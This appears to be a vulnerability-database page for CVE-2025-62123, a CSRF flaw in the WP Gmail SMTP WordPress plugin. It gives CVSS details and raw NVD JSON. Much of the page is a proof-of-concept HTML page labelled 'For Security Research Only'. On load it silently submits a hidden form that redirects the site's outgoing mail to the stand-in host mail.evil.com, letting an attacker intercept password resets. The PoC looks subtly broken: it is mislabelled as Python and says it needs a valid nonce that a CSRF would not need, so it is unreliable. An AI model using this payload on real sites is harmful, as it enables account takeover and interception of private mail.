Security Vulnerability Report
中文
CVE-2025-62123 CVSS 4.3 MEDIUM

CVE-2025-62123

Published: 2025-12-31 17:15:47
Last Modified: 2026-04-23 15:34:35

Description

Cross-Site Request Forgery (CSRF) vulnerability in inkthemes WP Gmail SMTP wp-gmail-smtp allows Cross Site Request Forgery.This issue affects WP Gmail SMTP: from n/a through <= 1.0.7.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Gmail SMTP <= 1.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62123 CSRF PoC for WP Gmail SMTP Plugin --> <!-- Target: WordPress site with WP Gmail SMTP plugin <= 1.0.7 --> <!-- This PoC demonstrates modifying SMTP settings to attacker-controlled email --> <!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <h1>Please wait...</h1> <!-- CSRF Attack Form - Auto-submit on page load --> <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;"> <!-- Required WordPress nonce and action parameters --> <input type="hidden" name="action" value="update" /> <input type="hidden" name="option_page" value="wp_gmail_smtp" /> <input type="hidden" name="_wpnonce" value="[ATTACKER_MUST_OBTAIN_VALID_NONCE]" /> <!-- Malicious SMTP configuration --> <input type="hidden" name="wp_gmail_smtp_from" value="[email protected]" /> <input type="hidden" name="wp_gmail_smtp_from_name" value="Site Admin" /> <input type="hidden" name="wp_gmail_smtp_mailer" value="smtp" /> <input type="hidden" name="wp_gmail_smtp_smtp_host" value="mail.evil.com" /> <input type="hidden" name="wp_gmail_smtp_smtp_port" value="587" /> <input type="hidden" name="wp_gmail_smtp_smtp_ssl" value="tls" /> <input type="hidden" name="wp_gmail_smtp_smtp_auth" value="on" /> <input type="hidden" name="wp_gmail_smtp_smtp_user" value="[email protected]" /> <input type="hidden" name="wp_gmail_smtp_smtp_pass" value="[ATTACKER_PASSWORD]" /> </form> <script> // Auto-submit form when page loads document.addEventListener('DOMContentLoaded', function() { // Note: In real attack, attacker needs valid nonce from target site // This can be obtained through various techniques document.getElementById('csrfForm').submit(); }); </script> </body> </html> <!-- Attack Prerequisites: 1. Target must be logged in as WordPress admin 2. Attacker needs to obtain valid nonce (can be extracted from target site) 3. User must visit this page or click attacker-controlled link Attack Outcome: - Redirects all site emails to attacker-controlled email address - Attacker can intercept sensitive notifications, password resets, etc. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62123", "sourceIdentifier": "[email protected]", "published": "2025-12-31T17:15:46.570", "lastModified": "2026-04-23T15:34:35.097", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in inkthemes WP Gmail SMTP wp-gmail-smtp allows Cross Site Request Forgery.This issue affects WP Gmail SMTP: from n/a through <= 1.0.7."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en Ink themes WP Gmail SMTP permite la falsificación de petición en sitios cruzados. Este problema afecta a WP Gmail SMTP: desde n/a hasta 1.0.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-gmail-smtp/vulnerability/wordpress-wp-gmail-smtp-plugin-1-0-7-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}